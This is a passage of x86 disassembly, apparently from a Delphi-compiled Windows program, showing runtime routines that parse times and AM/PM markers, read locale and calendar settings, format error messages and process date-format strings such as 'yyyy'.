		push	ecx
		mov	ecx, 64h
		cdq
		idiv	ecx
		pop	ecx
		imul	ax, 64h
		add	di, ax
		cmp	word_4001A7F8, 0
		jbe	short loc_4000A3DB
		movzx	eax, di
		cmp	ecx, eax
		jle	short loc_4000A3DB
		add	di, 64h
		jmp	short loc_4000A3DB
; ---------------------------------------------------------------------------


loc_4000A3AC:				; CODE XREF: sub_4000A1CC+108j
		call	sub_400092B0
		mov	edi, eax
		cmp	[ebp+var_E], 1
		jnz	short loc_4000A3CB
		movzx	eax, [ebp+var_10]
		mov	[ebp+var_18], ax
		movzx	eax, [ebp+var_12]
		mov	[ebp+var_16], ax
		jmp	short loc_4000A3DB
; ---------------------------------------------------------------------------


loc_4000A3CB:				; CODE XREF: sub_4000A1CC+1EBj
		movzx	eax, [ebp+var_10]
		mov	[ebp+var_16], ax
		movzx	eax, [ebp+var_12]
		mov	[ebp+var_18], ax


loc_4000A3DB:				; CODE XREF: sub_4000A1CC+19Dj
					; sub_4000A1CC+1A3j ...
		mov	edx, ebx
		movzx	ecx, ds:byte_4001E811
		mov	eax, esi
		call	sub_4000A04C
		mov	edx, ebx
		mov	eax, esi
		call	sub_40009EBC
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	loc_4000A4B5
		mov	edx, ds:dword_4001E814
		mov	eax, offset dword_4000A514
		call	sub_40004E30
		test	eax, eax
		jz	loc_4000A4B5
		mov	eax, ds:dword_4001E828
		movzx	eax, byte ptr [eax]
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_4000A439
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000A0D4
		jmp	loc_4000A4B5
; ---------------------------------------------------------------------------
		jmp	short loc_4000A439
; ---------------------------------------------------------------------------


loc_4000A437:				; CODE XREF: sub_4000A1CC+27Fj
		inc	dword ptr [ebx]


loc_4000A439:				; CODE XREF: sub_4000A1CC+259j
					; sub_4000A1CC+269j ...
		mov	eax, esi
		call	sub_40004B44
		cmp	eax, [ebx]
		jl	short loc_4000A44D
		mov	eax, [ebx]
		cmp	byte ptr [esi+eax-1], 20h
		jnz	short loc_4000A437


loc_4000A44D:				; CODE XREF: sub_4000A1CC+276j
		mov	edx, ebx
		mov	eax, esi
		call	sub_40009EBC
		mov	eax, esi
		call	sub_40004B44
		cmp	eax, [ebx]
		jl	short loc_4000A4B5
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, ds:dword_4001E820
		call	sub_40004B44
		mov	ecx, eax
		mov	edx, [ebx]
		mov	eax, esi
		call	sub_40004DA8
		mov	edx, [ebp+var_24]
		mov	eax, ds:dword_4001E820
		call	sub_40007BB4
		test	eax, eax
		jz	short loc_4000A4B5
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, ds:dword_4001E824
		call	sub_40004B44
		mov	ecx, eax
		mov	edx, [ebx]
		mov	eax, esi
		call	sub_40004DA8
		mov	edx, [ebp+var_28]
		mov	eax, ds:dword_4001E824
		call	sub_40007BB4
		test	eax, eax
		jnz	short loc_4000A439


loc_4000A4B5:				; CODE XREF: sub_4000A1CC+22Fj
					; sub_4000A1CC+247j ...
		mov	eax, [ebp+var_C]
		push	eax
		movzx	ecx, [ebp+var_18]
		movzx	edx, [ebp+var_16]
		mov	eax, edi
		call	sub_40009050
		mov	[ebp+var_D], al


loc_4000A4CB:				; CODE XREF: sub_4000A1CC+C0j
					; sub_4000A1CC+D8j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000A4F5


loc_4000A4D8:				; CODE XREF: sub_4000A1CC+327j
		lea	eax, [ebp+var_28]
		mov	edx, 3
		call	sub_400048A8
		lea	eax, [ebp+var_8]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000A4EE:				; DATA XREF: sub_4000A1CC+21o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000A4D8
; ---------------------------------------------------------------------------


loc_4000A4F5:				; CODE XREF: sub_4000A1CC+321j
					; DATA XREF: sub_4000A1CC+307o
		movzx	eax, [ebp+var_D]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000A1CC	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 1
dword_4000A508	dd 65h,	0FFFFFFFFh, 3dword_4000A514	dd 646464h	
; =============== S U B	R O U T	I N E =======================================



sub_4000A518	proc near		; CODE XREF: sub_4000A748+14p
					; sub_4000A780+4Ep

var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF0h
		mov	[esp+20h+var_20], ecx
		mov	esi, edx
		mov	ebp, eax
		xor	ebx, ebx
		or	edi, 0FFFFFFFFh
		mov	edx, esi
		mov	ecx, ds:dword_4001E820
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jnz	short loc_4000A550
		mov	edx, esi
		mov	ecx, offset dword_4000A700
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jz	short loc_4000A554


loc_4000A550:				; CODE XREF: sub_4000A518+24j
		xor	edi, edi
		jmp	short loc_4000A57E
; ---------------------------------------------------------------------------


loc_4000A554:				; CODE XREF: sub_4000A518+36j
		mov	edx, esi
		mov	ecx, ds:dword_4001E824
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jnz	short loc_4000A579
		mov	edx, esi
		mov	ecx, offset dword_4000A70C
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jz	short loc_4000A57E


loc_4000A579:				; CODE XREF: sub_4000A518+4Dj
		mov	edi, 0Ch


loc_4000A57E:				; CODE XREF: sub_4000A518+3Aj
					; sub_4000A518+5Fj
		test	edi, edi
		jl	short loc_4000A58B
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EBC


loc_4000A58B:				; CODE XREF: sub_4000A518+68j
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_1C]
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A6ED
		mov	[esp+20h+var_1A], 0
		mov	[esp+20h+var_18], 0
		mov	[esp+20h+var_16], 0
		mov	edx, esi
		movzx	ecx, ds:byte_4001E81C
		mov	eax, ebp
		call	sub_4000A04C
		test	al, al
		jz	short loc_4000A644
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_1A]
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A6ED
		mov	edx, esi
		movzx	ecx, ds:byte_4001E81C
		mov	eax, ebp
		call	sub_4000A04C
		test	al, al
		jz	short loc_4000A644
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_18]
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A6ED
		mov	edx, esi
		movzx	ecx, ds:byte_4001E80F
		mov	eax, ebp
		call	sub_4000A04C
		test	al, al
		jz	short loc_4000A644
		lea	eax, [esp+20h+var_14]
		push	eax
		lea	ecx, [esp+24h+var_16]
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A6ED


loc_4000A644:				; CODE XREF: sub_4000A518+B4j
					; sub_4000A518+E2j ...
		test	edi, edi
		jge	short loc_4000A69B
		mov	edx, esi
		mov	ecx, ds:dword_4001E820
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jnz	short loc_4000A66D
		mov	edx, esi
		mov	ecx, offset dword_4000A700
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jz	short loc_4000A671


loc_4000A66D:				; CODE XREF: sub_4000A518+141j
		xor	edi, edi
		jmp	short loc_4000A69B
; ---------------------------------------------------------------------------


loc_4000A671:				; CODE XREF: sub_4000A518+153j
		mov	edx, esi
		mov	ecx, ds:dword_4001E824
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jnz	short loc_4000A696
		mov	edx, esi
		mov	ecx, offset dword_4000A70C
		mov	eax, ebp
		call	sub_40009F74
		test	al, al
		jz	short loc_4000A69B


loc_4000A696:				; CODE XREF: sub_4000A518+16Aj
		mov	edi, 0Ch


loc_4000A69B:				; CODE XREF: sub_4000A518+12Ej
					; sub_4000A518+157j ...
		test	edi, edi
		jl	short loc_4000A6C3
		cmp	[esp+20h+var_1C], 0
		jz	short loc_4000A6ED
		cmp	[esp+20h+var_1C], 0Ch
		ja	short loc_4000A6ED
		cmp	[esp+20h+var_1C], 0Ch
		jnz	short loc_4000A6BE
		mov	[esp+20h+var_1C], 0


loc_4000A6BE:				; CODE XREF: sub_4000A518+19Dj
		add	[esp+20h+var_1C], di


loc_4000A6C3:				; CODE XREF: sub_4000A518+185j
		mov	edx, esi
		mov	eax, ebp
		call	sub_40009EBC
		movzx	eax, [esp+20h+var_16]
		push	eax
		mov	eax, [esp+24h+var_20]
		push	eax
		movzx	ecx, [esp+28h+var_18]
		movzx	edx, [esp+28h+var_1A]
		movzx	eax, [esp+28h+var_1C]
		call	sub_40008F48
		mov	ebx, eax


loc_4000A6ED:				; CODE XREF: sub_4000A518+87j
					; sub_4000A518+CAj ...
		mov	eax, ebx
		add	esp, 10h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A518	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_4000A700	dd 4D41h, 0FFFFFFFFh, 2					; sub_4000A518+145o
dword_4000A70C	dd 4D50h						; sub_4000A518+16Eo

; =============== S U B	R O U T	I N E =======================================



sub_4000A710	proc near		; CODE XREF: sub_40010874+69p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	[esp+0Ch+var_C], 1
		mov	ecx, esi
		mov	edx, esp
		mov	eax, ebx
		call	sub_4000A1CC
		test	al, al
		jz	short loc_4000A740
		mov	eax, ebx
		test	eax, eax
		jz	short loc_4000A738
		sub	eax, 4
		mov	eax, [eax]


loc_4000A738:				; CODE XREF: sub_4000A710+21j
		cmp	eax, [esp+0Ch+var_C]
		setl	al
		jmp	short loc_4000A742
; ---------------------------------------------------------------------------


loc_4000A740:				; CODE XREF: sub_4000A710+1Bj
		xor	eax, eax


loc_4000A742:				; CODE XREF: sub_4000A710+2Ej
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4000A710	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000A748	proc near		; CODE XREF: sub_4000A780+5Dp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	[esp+0Ch+var_C], 1
		mov	ecx, esi
		mov	edx, esp
		mov	eax, ebx
		call	sub_4000A518
		test	al, al
		jz	short loc_4000A778
		mov	eax, ebx
		test	eax, eax
		jz	short loc_4000A770
		sub	eax, 4
		mov	eax, [eax]


loc_4000A770:				; CODE XREF: sub_4000A748+21j
		cmp	eax, [esp+0Ch+var_C]
		setl	al
		jmp	short loc_4000A77A
; ---------------------------------------------------------------------------


loc_4000A778:				; CODE XREF: sub_4000A748+1Bj
		xor	eax, eax


loc_4000A77A:				; CODE XREF: sub_4000A748+2Ej
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4000A748	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000A780	proc near		; CODE XREF: sub_4000CF90+35p

var_24		= dword	ptr -24h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFE8h
		mov	edi, edx
		mov	esi, eax
		mov	bl, 1
		mov	[esp+24h+var_24], 1
		xor	eax, eax
		mov	dword ptr [esp+24h+var_14], eax
		mov	dword ptr [esp+24h+var_14+4], eax
		lea	ecx, [esp+24h+var_1C]
		mov	edx, esp
		mov	eax, esi
		call	sub_4000A1CC
		test	al, al
		jnz	short loc_4000A7B2
		mov	al, 1
		jmp	short loc_4000A7D5
; ---------------------------------------------------------------------------


loc_4000A7B2:				; CODE XREF: sub_4000A780+2Cj
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000A7BD
		sub	eax, 4
		mov	eax, [eax]


loc_4000A7BD:				; CODE XREF: sub_4000A780+36j
		cmp	eax, [esp+24h+var_24]
		jge	short loc_4000A7C6
		mov	al, 1
		jmp	short loc_4000A7D3
; ---------------------------------------------------------------------------


loc_4000A7C6:				; CODE XREF: sub_4000A780+40j
		lea	ecx, [esp+24h+var_14]
		mov	edx, esp
		mov	eax, esi
		call	sub_4000A518


loc_4000A7D3:				; CODE XREF: sub_4000A780+44j
		xor	al, 1


loc_4000A7D5:				; CODE XREF: sub_4000A780+30j
		test	al, al
		jz	short loc_4000A7E6
		mov	edx, edi
		mov	eax, esi
		call	sub_4000A748
		mov	ebx, eax
		jmp	short loc_4000A80E
; ---------------------------------------------------------------------------


loc_4000A7E6:				; CODE XREF: sub_4000A780+57j
		fld	[esp+24h+var_1C]
		fcomp	ds:flt_4000A818
		fstsw	ax
		sahf
		jb	short loc_4000A803
		fld	[esp+24h+var_1C]
		fadd	[esp+24h+var_14]
		fstp	qword ptr [edi]
		wait
		jmp	short loc_4000A80E
; ---------------------------------------------------------------------------


loc_4000A803:				; CODE XREF: sub_4000A780+74j
		fld	[esp+24h+var_1C]
		fsub	[esp+24h+var_14]
		fstp	qword ptr [edi]
		wait


loc_4000A80E:				; CODE XREF: sub_4000A780+64j
					; sub_4000A780+81j
		mov	eax, ebx
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A780	endp

; ---------------------------------------------------------------------------
		align 4
flt_4000A818	dd 0.0			; DATA XREF: sub_4000A780+6Ar

; =============== S U B	R O U T	I N E =======================================



sub_4000A81C	proc near		; CODE XREF: sub_4000C41C+2Cp
					; sub_4000DDD4+1E7p ...

var_105		= byte ptr -105h
var_104		= byte ptr -104h

		push	ebx
		add	esp, 0FFFFFF00h
		mov	ebx, edx
		push	0
		push	100h
		lea	edx, [esp+10Ch+var_104]
		push	edx
		push	0
		push	eax
		push	0
		push	3200h
		call	sub_40006540	; FormatMessageA
		jmp	short loc_4000A843
; ---------------------------------------------------------------------------


loc_4000A842:				; CODE XREF: sub_4000A81C+33j
					; sub_4000A81C+38j
		dec	eax


loc_4000A843:				; CODE XREF: sub_4000A81C+24j
		test	eax, eax
		jle	short loc_4000A856
		movzx	edx, [esp+eax+104h+var_105]
		sub	dl, 21h
		jb	short loc_4000A842
		sub	dl, 0Dh
		jz	short loc_4000A842


loc_4000A856:				; CODE XREF: sub_4000A81C+29j
		mov	edx, esp
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_40004974
		add	esp, 100h
		pop	ebx
		retn
sub_4000A81C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000A868	proc near		; CODE XREF: sub_4000A8E0+1Cp
					; sub_4000AAF4+27p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF00h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, [ebp+arg_0]
		push	100h
		lea	ecx, [ebp+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_40006590	; GetLocaleInfoA
		test	eax, eax
		jle	short loc_4000A8A1
		mov	ecx, eax
		dec	ecx
		lea	edx, [ebp+var_100]
		mov	eax, ebx
		call	sub_40004974
		jmp	short loc_4000A8AA
; ---------------------------------------------------------------------------


loc_4000A8A1:				; CODE XREF: sub_4000A868+25j
		mov	eax, ebx
		mov	edx, esi
		call	sub_400048D8


loc_4000A8AA:				; CODE XREF: sub_4000A868+37j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4000A868	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000A8B4	proc near		; CODE XREF: sub_4000BE64+ADp
					; sub_4000BE64+C0p ...

var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		push	2
		lea	eax, [esp+14h+var_10]
		push	eax
		push	esi
		push	edi
		call	sub_40006590	; GetLocaleInfoA
		test	eax, eax
		jle	short loc_4000A8D6
		movzx	eax, [esp+10h+var_10]
		jmp	short loc_4000A8D8
; ---------------------------------------------------------------------------


loc_4000A8D6:				; CODE XREF: sub_4000A8B4+1Aj
		mov	eax, ebx


loc_4000A8D8:				; CODE XREF: sub_4000A8B4+20j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A8B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000A8E0	proc near		; CODE XREF: sub_4000A91C+46p
					; sub_4000A91C+69p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		xor	ecx, ecx
		mov	edx, esi
		call	sub_4000A868
		cmp	dword ptr [ebx], 0
		jnz	short loc_4000A913
		mov	eax, [ebp+var_4]
		mov	eax, [eax+edi*4]
		mov	edx, ebx
		call	sub_400062F0


loc_4000A913:				; CODE XREF: sub_4000A8E0+24j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_4000A8E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000A91C	proc near		; CODE XREF: sub_4000BE64+23p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		push	ebp
		push	offset loc_4000AA2F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_400065C8	; GetThreadLocale
		mov	[ebp+var_4], eax
		mov	ebx, 1
		mov	esi, offset dword_4001E830
		mov	edi, offset dword_4001E860


loc_4000A94F:				; CODE XREF: sub_4000A91C+83j
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, offset off_4001A884
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+44h]
		dec	eax
		call	sub_4000A8E0
		pop	ecx
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_400048D8
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, offset off_4001A8B4
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+38h]
		dec	eax
		call	sub_4000A8E0
		pop	ecx
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_400048D8
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 0Dh
		jnz	short loc_4000A94F
		mov	ebx, 1
		mov	esi, offset dword_4001E890
		mov	edi, offset dword_4001E8AC


loc_4000A9B0:				; CODE XREF: sub_4000A91C+F6j
		lea	eax, [ebx+5]
		mov	ecx, 7
		cdq
		idiv	ecx
		mov	[ebp+var_8], edx
		push	ebp
		push	6
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset off_4001A8E4
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 31h
		call	sub_4000A8E0
		pop	ecx
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_400048D8
		push	ebp
		push	6
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset off_4001A900
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 2Ah
		call	sub_4000A8E0
		pop	ecx
		mov	edx, [ebp+var_18]
		mov	eax, edi
		call	sub_400048D8
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 8
		jnz	short loc_4000A9B0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000AA36


loc_4000AA21:				; CODE XREF: sub_4000A91C+118j
		lea	eax, [ebp+var_18]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000AA2F:				; DATA XREF: sub_4000A91C+11o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000AA21
; ---------------------------------------------------------------------------


loc_4000AA36:				; CODE XREF: sub_4000A91C+112j
					; DATA XREF: sub_4000A91C+100o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000A91C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000AA40	proc near		; DATA XREF: sub_4000AAF4+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_4000AA54
; ---------------------------------------------------------------------------


loc_4000AA4E:				; CODE XREF: sub_4000AA40+1Cj
		cmp	ebx, 7
		jz	short loc_4000AA72
		inc	ebx


loc_4000AA54:				; CODE XREF: sub_4000AA40+Cj
		cmp	ds:dword_4001E8D4[ebx*4], 0
		jnz	short loc_4000AA4E
		lea	eax, dword_4001E8D4[ebx*4]
		mov	edx, [ebp+arg_0]
		call	sub_40004A7C
		mov	esi, 1


loc_4000AA72:				; CODE XREF: sub_4000AA40+11j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_4000AA40	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000AA7C	proc near		; DATA XREF: sub_4000AAF4+77o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_4000AAE1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_4000AAA0
; ---------------------------------------------------------------------------


loc_4000AA9A:				; CODE XREF: sub_4000AA7C+2Cj
		cmp	ebx, 7
		jz	short loc_4000AACB
		inc	ebx


loc_4000AAA0:				; CODE XREF: sub_4000AA7C+1Cj
		cmp	ds:dword_4001E8F0[ebx*4], 0FFFFFFFFh
		jnz	short loc_4000AA9A
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_40004A7C
		mov	eax, [ebp+var_4]
		xor	edx, edx
		call	sub_40007DD4
		mov	ds:dword_4001E8F0[ebx*4], eax
		mov	esi, 1


loc_4000AACB:				; CODE XREF: sub_4000AA7C+21j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000AAE8


loc_4000AAD8:				; CODE XREF: sub_4000AA7C+6Aj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000AAE1:				; DATA XREF: sub_4000AA7C+Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000AAD8
; ---------------------------------------------------------------------------


loc_4000AAE8:				; CODE XREF: sub_4000AA7C+64j
					; DATA XREF: sub_4000AA7C+57o
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_4000AA7C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000AAF4	proc near		; CODE XREF: sub_4000BE64+31p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_4000AB8B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_400065C8	; GetThreadLocale
		mov	ecx, offset dword_4000ABA0
		mov	edx, 100Bh
		call	sub_4000A868
		mov	eax, [ebp+var_4]
		mov	edx, 1
		call	sub_40007DD4
		mov	esi, eax
		mov	eax, esi
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jnb	short loc_4000AB75
		push	4
		push	esi
		call	sub_400065C8	; GetThreadLocale
		push	eax
		push	offset sub_4000AA40
		call	sub_40006528	; EnumCalendarInfoA
		mov	edx, 7
		mov	eax, offset dword_4001E8F4


loc_4000AB56:				; CODE XREF: sub_4000AAF4+6Cj
		mov	dword ptr [eax], 0FFFFFFFFh
		add	eax, 4
		dec	edx
		jnz	short loc_4000AB56
		push	3
		push	esi
		call	sub_400065C8	; GetThreadLocale
		push	eax
		push	offset sub_4000AA7C
		call	sub_40006528	; EnumCalendarInfoA


loc_4000AB75:				; CODE XREF: sub_4000AAF4+43j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000AB92


loc_4000AB82:				; CODE XREF: sub_4000AAF4+9Cj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000AB8B:				; DATA XREF: sub_4000AAF4+9o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000AB82
; ---------------------------------------------------------------------------


loc_4000AB92:				; CODE XREF: sub_4000AAF4+96j
					; DATA XREF: sub_4000AAF4+89o
		pop	esi
		pop	ecx
		pop	ebp
		retn
sub_4000AAF4	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_4000ABA0	dd 31h		
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000ABA4	proc near		; CODE XREF: sub_4000BE64+11Cp
					; sub_4000BE64+149p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000AD74
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, 1
		mov	eax, edi
		call	sub_40004884
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_400065C8	; GetThreadLocale
		mov	ecx, offset dword_4000AD8C
		mov	edx, 1009h
		call	sub_4000A868
		mov	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_40007DD4
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jb	loc_4000AD4A
		mov	eax, ds:dword_4001E8CC
		sub	eax, 4
		jz	short loc_4000AC16
		add	eax, 0FFFFFFF3h
		sub	eax, 2
		jb	short loc_4000AC16
		xor	eax, eax
		jmp	short loc_4000AC18
; ---------------------------------------------------------------------------


loc_4000AC16:				; CODE XREF: sub_4000ABA4+64j
					; sub_4000ABA4+6Cj
		mov	al, 1


loc_4000AC18:				; CODE XREF: sub_4000ABA4+70j
		test	al, al
		jz	short loc_4000AC53
		jmp	short loc_4000AC43
; ---------------------------------------------------------------------------


loc_4000AC1E:				; CODE XREF: sub_4000ABA4+A8j
		movzx	eax, byte ptr [esi+ebx-1]
		sub	al, 47h
		jz	short loc_4000AC42
		sub	al, 20h
		jz	short loc_4000AC42
		lea	eax, [ebp+var_C]
		movzx	edx, byte ptr [esi+ebx-1]
		call	sub_40004A6C
		mov	edx, [ebp+var_C]
		mov	eax, edi
		call	sub_40004B50


loc_4000AC42:				; CODE XREF: sub_4000ABA4+81j
					; sub_4000ABA4+85j
		inc	ebx


loc_4000AC43:				; CODE XREF: sub_4000ABA4+78j
		mov	eax, esi
		call	sub_40004B44
		cmp	ebx, eax
		jle	short loc_4000AC1E
		jmp	loc_4000AD59
; ---------------------------------------------------------------------------


loc_4000AC53:				; CODE XREF: sub_4000ABA4+76j
		mov	eax, edi
		mov	edx, esi
		call	sub_400048D8
		jmp	loc_4000AD59
; ---------------------------------------------------------------------------


loc_4000AC61:				; CODE XREF: sub_4000ABA4+1AFj
		movzx	eax, byte ptr [esi+ebx-1]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000ACA0
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000BB88
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		mov	eax, esi
		call	sub_40004DA8
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_40004B50
		add	ebx, [ebp+var_4]
		jmp	loc_4000AD4A
; ---------------------------------------------------------------------------


loc_4000ACA0:				; CODE XREF: sub_4000ABA4+CCj
		mov	edx, offset dword_4000AD90
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_4000ACC9
		mov	eax, edi
		mov	edx, offset dword_4000AD9C
		call	sub_40004B50
		inc	ebx
		jmp	loc_4000AD49
; ---------------------------------------------------------------------------


loc_4000ACC9:				; CODE XREF: sub_4000ABA4+111j
		mov	edx, offset aYyyy_0 ; "yyyy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 4
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_4000ACF1
		mov	eax, edi
